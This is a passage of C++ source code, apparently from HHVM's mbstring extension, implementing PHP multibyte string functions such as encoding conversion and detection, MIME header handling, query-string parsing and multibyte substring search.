_from_encodings.detach(); } unsigned int size; char *ret = php_mb_convert_encoding(str.data(), str.size(), to_encoding.data(), (!encoding.empty() ? encoding.data() : nullptr), &size); if (ret != nullptr) { return String(ret, size, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_kana, const String& str, const Variant& opt_option, const Variant& opt_encoding) { const String option = convertArg(opt_option); const String encoding = convertArg(opt_encoding); mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); int opt = 0x900; if (!option.empty()) { const char *p = option.data(); int n = option.size(); int i = 0; opt = 0; while (i < n) { i++; switch (*p++) { case 'A': opt |= 0x1; break; case 'a': opt |= 0x10; break; case 'R': opt |= 0x2; break; case 'r': opt |= 0x20; break; case 'N': opt |= 0x4; break; case 'n': opt |= 0x40; break; case 'S': opt |= 0x8; break; case 's': opt |= 0x80; break; case 'K': opt |= 0x100; break; case 'k': opt |= 0x1000; break; case 'H': opt |= 0x200; break; case 'h': opt |= 0x2000; break; case 'V': opt |= 0x800; break; case 'C': opt |= 0x10000; break; case 'c': opt |= 0x20000; break; case 'M': opt |= 0x100000; break; case 'm': opt |= 0x200000; break; } } } /* encoding */ if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } ret = mbfl_ja_jp_hantozen(&string, &result, opt); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static bool php_mbfl_encoding_detect(const Variant& var, mbfl_encoding_detector *identd, mbfl_string *string) { if (var.isArray() || var.is(KindOfObject)) { Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { if (php_mbfl_encoding_detect(iter.second(), identd, string)) { return true; } } } else if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); if (mbfl_encoding_detector_feed(identd, string)) { return true; } } return false; } static Variant php_mbfl_convert(const Variant& var, mbfl_buffer_converter *convd, mbfl_string *string, mbfl_string *result) { if (var.isArray()) { Array ret = empty_array(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { ret.set(iter.first(), php_mbfl_convert(iter.second(), convd, string, result)); } return ret; } if (var.is(KindOfObject)) { Object obj = var.toObject(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { obj->o_set(iter.first().toString(), php_mbfl_convert(iter.second(), convd, string, result)); } return var; // which still has obj } if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); mbfl_string *ret = mbfl_buffer_converter_feed_result(convd, string, result); return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return var; } Variant HHVM_FUNCTION(mb_convert_variables, const String& to_encoding, const Variant& from_encoding, Variant& vars, const Array& args /* = null_array */) { mbfl_string string, result; mbfl_encoding *_from_encoding, *_to_encoding; mbfl_encoding_detector *identd; mbfl_buffer_converter *convd; int elistsz; mbfl_encoding **elist; char *name; /* new encoding */ _to_encoding = (mbfl_encoding*) mbfl_name2encoding(to_encoding.data()); if (_to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", to_encoding.data()); return false; } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); _from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = _from_encoding->no_encoding; string.no_language = MBSTRG(current_language); /* pre-conversion encoding */ elist = nullptr; elistsz = 0; php_mb_parse_encoding(from_encoding, &elist, &elistsz, false); if (elistsz <= 0) { _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (elistsz == 1) { _from_encoding = *elist; } else { /* auto detect */ _from_encoding = nullptr; identd = mbfl_encoding_detector_new2((const mbfl_encoding**) elist, elistsz, MBSTRG(strict_detection)); if (identd != nullptr) { for (int n = -1; n < args.size(); n++) { if (php_mbfl_encoding_detect(n < 0 ? vars : args[n], identd, &string)) { break; } } _from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (_from_encoding == nullptr) { raise_warning("Unable to detect encoding"); _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } if (elist != nullptr) { req::free(elist); } /* create converter */ convd = nullptr; if (_from_encoding != &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(_from_encoding, _to_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } /* convert */ if (convd != nullptr) { vars = php_mbfl_convert(vars, convd, &string, &result); for (int n = 0; n < args.size(); n++) { const_cast<Array&>(args).set(n, php_mbfl_convert(args[n], convd, &string, &result)); } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (_from_encoding != nullptr) { name = (char*) _from_encoding->name; if (name != nullptr) { return String(name, CopyString); } } return false; } Variant HHVM_FUNCTION(mb_decode_mimeheader, const String& str) { mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); mbfl_string_init(&result); ret = mbfl_mime_header_decode(&string, &result, MBSTRG(current_internal_encoding)->no_encoding); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static Variant php_mb_numericentity_exec(const String& str, const Variant& convmap, const String& encoding, bool is_hex, int type) { int mapsize=0; mbfl_string string, result, *ret; mbfl_no_encoding no_encoding; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (type == 0 && is_hex) { type = 2; /* output in hex format */ } /* encoding */ if (!encoding.empty()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } else { string.no_encoding = no_encoding; } } /* conversion map */ int *iconvmap = nullptr; if (convmap.isArray()) { Array convs = convmap.toArray(); mapsize = convs.size(); if (mapsize > 0) { iconvmap = (int*)req::malloc_noptrs(mapsize * sizeof(int)); int *mapelm = iconvmap; for (ArrayIter iter(convs); iter; ++iter) { *mapelm++ = iter.second().toInt32(); } } } if (iconvmap == nullptr) { return false; } mapsize /= 4; ret = mbfl_html_numeric_entity(&string, &result, iconvmap, mapsize, type); req::free(iconvmap); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_decode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, false, 1); } Variant HHVM_FUNCTION(mb_detect_encoding, const String& str, const Variant& encoding_list /* = uninit_variant */, const Variant& strict /* = uninit_variant */) { mbfl_string string; mbfl_encoding *ret; mbfl_encoding **elist, **list; int size; /* make encoding list */ list = nullptr; size = 0; php_mb_parse_encoding(encoding_list, &list, &size, false); if (size > 0 && list != nullptr) { elist = list; } else { elist = MBSTRG(current_detect_order_list); size = MBSTRG(current_detect_order_list_size); } long nstrict = 0; if (!strict.isNull()) { nstrict = strict.toInt64(); } else { nstrict = MBSTRG(strict_detection); } mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.val = (unsigned char *)str.data(); string.len = str.size(); ret = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) elist, size, nstrict); req::free(list); if (ret != nullptr) { return String(ret->name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_detect_order, const Variant& encoding_list /* = uninit_variant */) { int n, size; mbfl_encoding **list, **entry; if (encoding_list.isNull()) { Array ret; entry = MBSTRG(current_detect_order_list); n = MBSTRG(current_detect_order_list_size); while (n > 0) { char *name = (char*) (*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } list = nullptr; size = 0; if (!php_mb_parse_encoding(encoding_list, &list, &size, false) || list == nullptr) { return false; } if (MBSTRG(current_detect_order_list)) { req::free(MBSTRG(current_detect_order_list)); } MBSTRG(current_detect_order_list) = list; MBSTRG(current_detect_order_list_size) = size; return true; } Variant HHVM_FUNCTION(mb_encode_mimeheader, const String& str, const Variant& opt_charset, const Variant& opt_transfer_encoding, const String& linefeed /* = "\r\n" */, int indent /* = 0 */) { const String charset = convertArg(opt_charset); const String transfer_encoding = convertArg(opt_transfer_encoding); mbfl_no_encoding charsetenc, transenc; mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); charsetenc = mbfl_no_encoding_pass; transenc = mbfl_no_encoding_base64; if (!charset.empty()) { charsetenc = mbfl_name2no_encoding(charset.data()); if (charsetenc == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", charset.data()); return false; } } else { const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { charsetenc = lang->mail_charset; transenc = lang->mail_header_encoding; } } if (!transfer_encoding.empty()) { char ch = *transfer_encoding.data(); if (ch == 'B' || ch == 'b') { transenc = mbfl_no_encoding_base64; } else if (ch == 'Q' || ch == 'q') { transenc = mbfl_no_encoding_qprint; } } mbfl_string_init(&result); ret = mbfl_mime_header_encode(&string, &result, charsetenc, transenc, linefeed.data(), indent); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_encode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding /* = uninit_variant */, bool is_hex /* = false */) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, is_hex, 0); } const StaticString s_internal_encoding("internal_encoding"), s_http_input("http_input"), s_http_output("http_output"), s_mail_charset("mail_charset"), s_mail_header_encoding("mail_header_encoding"), s_mail_body_encoding("mail_body_encoding"), s_illegal_chars("illegal_chars"), s_encoding_translation("encoding_translation"), s_On("On"), s_Off("Off"), s_language("language"), s_detect_order("detect_order"), s_substitute_character("substitute_character"), s_strict_detection("strict_detection"), s_none("none"), s_long("long"), s_entity("entity"); Variant HHVM_FUNCTION(mb_get_info, const Variant& opt_type) { const String type = convertArg(opt_type); const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); mbfl_encoding **entry; int n; char *name; if (type.empty() || strcasecmp(type.data(), "all") == 0) { Array ret; if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *) MBSTRG(current_internal_encoding)->name) != nullptr) { ret.set(s_internal_encoding, String(name, CopyString)); } if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { ret.set(s_http_input, String(name, CopyString)); } if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { ret.set(s_http_output, String(name, CopyString)); } if (lang != nullptr) { if ((name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { ret.set(s_mail_charset, String(name, CopyString)); } if ((name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { ret.set(s_mail_header_encoding, String(name, CopyString)); } if ((name = (char *)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { ret.set(s_mail_body_encoding, String(name, CopyString)); } } ret.set(s_illegal_chars, MBSTRG(illegalchars)); ret.set(s_encoding_translation, MBSTRG(encoding_translation) ? s_On : s_Off); if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { ret.set(s_language, String(name, CopyString)); } n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array row; while (n > 0) { if ((name = (char *)(*entry)->name) != nullptr) { row.append(String(name, CopyString)); } entry++; n--; } ret.set(s_detect_order, row); } switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: ret.set(s_substitute_character, s_none); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: ret.set(s_substitute_character, s_long); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: ret.set(s_substitute_character, s_entity); break; default: ret.set(s_substitute_character, MBSTRG(current_filter_illegal_substchar)); } ret.set(s_strict_detection, MBSTRG(strict_detection) ? s_On : s_Off); return ret; } else if (strcasecmp(type.data(), "internal_encoding") == 0) { if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *)MBSTRG(current_internal_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_input") == 0) { if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_output") == 0) { if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_charset") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_header_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_body_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "illegal_chars") == 0) { return MBSTRG(illegalchars); } else if (strcasecmp(type.data(), "encoding_translation") == 0) { return MBSTRG(encoding_translation) ? "On" : "Off"; } else if (strcasecmp(type.data(), "language") == 0) { if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "detect_order") == 0) { n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array ret; while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } } } else if (strcasecmp(type.data(), "substitute_character") == 0) { if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE) { return s_none; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG) { return s_long; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY) { return s_entity; } else { return MBSTRG(current_filter_illegal_substchar); } } else if (strcasecmp(type.data(), "strict_detection") == 0) { return MBSTRG(strict_detection) ? s_On : s_Off; } return false; } Variant HHVM_FUNCTION(mb_http_input, const Variant& opt_type) { const String type = convertArg(opt_type); int n; char *name; mbfl_encoding **entry; mbfl_encoding *result = nullptr; if (type.empty()) { result = MBSTRG(http_input_identify); } else { switch (*type.data()) { case 'G': case 'g': result = MBSTRG(http_input_identify_get); break; case 'P': case 'p': result = MBSTRG(http_input_identify_post); break; case 'C': case 'c': result = MBSTRG(http_input_identify_cookie); break; case 'S': case 's': result = MBSTRG(http_input_identify_string); break; case 'I': case 'i': { Array ret; entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } case 'L': case 'l': { entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); StringBuffer list; while (n > 0) { name = (char *)(*entry)->name; if (name) { if (list.empty()) { list.append(name); } else { list.append(','); list.append(name); } } entry++; n--; } if (list.empty()) { return false; } return list.detach(); } default: result = MBSTRG(http_input_identify); break; } } if (result != nullptr && (name = (char *)(result)->name) != nullptr) { return String(name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_http_output, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_http_output_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_http_output_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_internal_encoding, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_internal_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_internal_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_language, const Variant& opt_language) { const String language = convertArg(opt_language); if (language.empty()) { return String(mbfl_no_language2name(MBSTRG(current_language)), CopyString); } mbfl_no_language no_language = mbfl_name2no_language(language.data()); if (no_language == mbfl_no_language_invalid) { raise_warning("Unknown language \"%s\"", language.data()); return false; } php_mb_nls_get_default_detect_order_list (no_language, &MBSTRG(default_detect_order_list), &MBSTRG(default_detect_order_list_size)); MBSTRG(current_language) = no_language; return true; } String HHVM_FUNCTION(mb_output_handler, const String& contents, int status) { mbfl_string string, result; int last_feed; mbfl_encoding *encoding = MBSTRG(current_http_output_encoding); /* start phase only */ if (status & k_PHP_OUTPUT_HANDLER_START) { /* delete the converter just in case. */ if (MBSTRG(outconv)) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } if (encoding == nullptr) { return contents; } /* analyze mime type */ String mimetype = g_context->getMimeType(); if (!mimetype.empty()) { const char *charset = encoding->mime_name; if (charset) { g_context->setContentType(mimetype, charset); } /* activate the converter */ MBSTRG(outconv) = mbfl_buffer_converter_new2 (MBSTRG(current_internal_encoding), encoding, 0); } } /* just return if the converter is not activated. */ if (MBSTRG(outconv) == nullptr) { return contents; } /* flag */ last_feed = ((status & k_PHP_OUTPUT_HANDLER_END) != 0); /* mode */ mbfl_buffer_converter_illegal_mode (MBSTRG(outconv), MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (MBSTRG(outconv), MBSTRG(current_filter_illegal_substchar)); /* feed the string */ mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)contents.data(); string.len = contents.size(); mbfl_buffer_converter_feed(MBSTRG(outconv), &string); if (last_feed) { mbfl_buffer_converter_flush(MBSTRG(outconv)); } /* get the converter output, and return it */ mbfl_buffer_converter_result(MBSTRG(outconv), &result); /* delete the converter if it is the last feed. */ if (last_feed) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } return String(reinterpret_cast<char*>(result.val), result.len, AttachString); } typedef struct _php_mb_encoding_handler_info_t { int data_type; const char *separator; unsigned int force_register_globals: 1; unsigned int report_errors: 1; enum mbfl_no_language to_language; mbfl_encoding *to_encoding; enum mbfl_no_language from_language; int num_from_encodings; mbfl_encoding **from_encodings; } php_mb_encoding_handler_info_t; static mbfl_encoding* _php_mb_encoding_handler_ex (const php_mb_encoding_handler_info_t *info, Array& arg, char *res) { char *var, *val; const char *s1, *s2; char *strtok_buf = nullptr, **val_list = nullptr; int n, num, *len_list = nullptr; unsigned int val_len; mbfl_string string, resvar, resval; mbfl_encoding *from_encoding = nullptr; mbfl_encoding_detector *identd = nullptr; mbfl_buffer_converter *convd = nullptr; mbfl_string_init_set(&string, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resvar, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resval, info->to_language, info->to_encoding->no_encoding); if (!res || *res == '\0') { goto out; } /* count the variables(separators) contained in the "res". * separator may contain multiple separator chars. */ num = 1; for (s1=res; *s1 != '\0'; s1++) { for (s2=info->separator; *s2 != '\0'; s2++) { if (*s1 == *s2) { num++; } } } num *= 2; /* need space for variable name and value */ val_list = (char **)req::calloc_noptrs(num, sizeof(char *)); len_list = (int *)req::calloc_noptrs(num, sizeof(int)); /* split and decode the query */ n = 0; strtok_buf = nullptr; var = strtok_r(res, info->separator, &strtok_buf); while (var) { val = strchr(var, '='); if (val) { /* have a value */ len_list[n] = url_decode_ex(var, val-var); val_list[n] = var; n++; *val++ = '\0'; val_list[n] = val; len_list[n] = url_decode_ex(val, strlen(val)); } else { len_list[n] = url_decode_ex(var, strlen(var)); val_list[n] = var; n++; val_list[n] = const_cast<char*>(""); len_list[n] = 0; } n++; var = strtok_r(nullptr, info->separator, &strtok_buf); } num = n; /* make sure to process initilized vars only */ /* initialize converter */ if (info->num_from_encodings <= 0) { from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (info->num_from_encodings == 1) { from_encoding = info->from_encodings[0]; } else { /* auto detect */ from_encoding = nullptr; identd = mbfl_encoding_detector_new ((enum mbfl_no_encoding *)info->from_encodings, info->num_from_encodings, MBSTRG(strict_detection)); if (identd) { n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (mbfl_encoding_detector_feed(identd, &string)) { break; } n++; } from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (from_encoding == nullptr) { if (info->report_errors) { raise_warning("Unable to detect encoding"); } from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } convd = nullptr; if (from_encoding != (mbfl_encoding*) &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(from_encoding, info->to_encoding, 0); if (convd != nullptr) { mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } else { if (info->report_errors) { raise_warning("Unable to create converter"); } goto out; } } /* convert encoding */ string.no_encoding = from_encoding->no_encoding; n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resvar) != nullptr) { var = (char *)resvar.val; } else { var = val_list[n]; } n++; string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resval) != nullptr) { val = (char *)resval.val; val_len = resval.len; } else { val = val_list[n]; val_len = len_list[n]; } n++; if (val_len > 0) { arg.set(String(var, CopyString), String(val, val_len, CopyString)); } if (convd != nullptr) { mbfl_string_clear(&resvar); mbfl_string_clear(&resval); } } out: if (convd != nullptr) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (val_list != nullptr) { req::free((void *)val_list); } if (len_list != nullptr) { req::free((void *)len_list); } return from_encoding; } bool HHVM_FUNCTION(mb_parse_str, const String& encoded_string, Array& result) { php_mb_encoding_handler_info_t info; info.data_type = PARSE_STRING; info.separator = "&"; info.force_register_globals = false; info.report_errors = 1; info.to_encoding = MBSTRG(current_internal_encoding); info.to_language = MBSTRG(current_language); info.from_encodings = MBSTRG(http_input_list); info.num_from_encodings = MBSTRG(http_input_list_size); info.from_language = MBSTRG(current_language); char *encstr = req::strndup(encoded_string.data(), encoded_string.size()); result = Array::Create(); mbfl_encoding *detected = _php_mb_encoding_handler_ex(&info, result, encstr); req::free(encstr); MBSTRG(http_input_identify) = detected; return detected != nullptr; } Variant HHVM_FUNCTION(mb_preferred_mime_name, const String& encoding) { mbfl_no_encoding no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } const char *preferred_name = mbfl_no2preferred_mime_name(no_encoding); if (preferred_name == nullptr || *preferred_name == '\0') { raise_warning("No MIME preferred name corresponding to \"%s\"", encoding.data()); return false; } return String(preferred_name, CopyString); } static Variant php_mb_substr(const String& str, int from, const Variant& vlen, const String& encoding, bool substr) { mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int len = vlen.toInt64(); int size = 0; if (substr) { int size_tmp = -1; if (vlen.isNull() || len == 0x7FFFFFFF) { size_tmp = mbfl_strlen(&string); len = size_tmp; } if (from < 0 || len < 0) { size = size_tmp < 0 ? mbfl_strlen(&string) : size_tmp; } } else { size = str.size(); if (vlen.isNull() || len == 0x7FFFFFFF) { len = size; } } /* if "from" position is negative, count start position from the end * of the string */ if (from < 0) { from = size + from; if (from < 0) { from = 0; } } /* if "length" position is negative, set it to the length * needed to stop that many chars from the end of the string */ if (len < 0) { len = (size - from) + len; if (len < 0) { len = 0; } } if (!substr && from > size) { return false; } mbfl_string result; mbfl_string *ret; if (substr) { ret = mbfl_substr(&string, &result, from, len); } else { ret = mbfl_strcut(&string, &result, from, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_substr, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, true); } Variant HHVM_FUNCTION(mb_strcut, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, false); } Variant HHVM_FUNCTION(mb_strimwidth, const String& str, int start, int width, const Variant& opt_trimmarker, const Variant& opt_encoding) { const String trimmarker = convertArg(opt_trimmarker); const String encoding = convertArg(opt_encoding); mbfl_string string, result, marker, *ret; mbfl_string_init(&string); mbfl_string_init(&marker); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.no_language = MBSTRG(current_language); marker.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.val = nullptr; marker.len = 0; if (!encoding.empty()) { string.no_encoding = marker.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } string.val = (unsigned char *)str.data(); string.len = str.size(); if (start < 0 || start > str.size()) { raise_warning("Start position is out of reange"); return false; } if (width < 0) { raise_warning("Width is negative value"); return false; } marker.val = (unsigned char *)trimmarker.data(); marker.len = trimmarker.size(); ret = mbfl_strimwidth(&string, &marker, &result, start, width); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_stripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } if (needle.empty()) { raise_warning("Empty delimiter"); return false; } int n = php_mb_stripos(0, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } int n = php_mb_stripos(1, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_stristr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!mbs_needle.len) { raise_warning("Empty delimiter."); return false; } const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(0, (const char*)mbs_haystack.val, mbs_haystack.len, (const char *)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } int mblen = mbfl_strlen(&mbs_haystack); mbfl_string result, *ret = nullptr; if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), 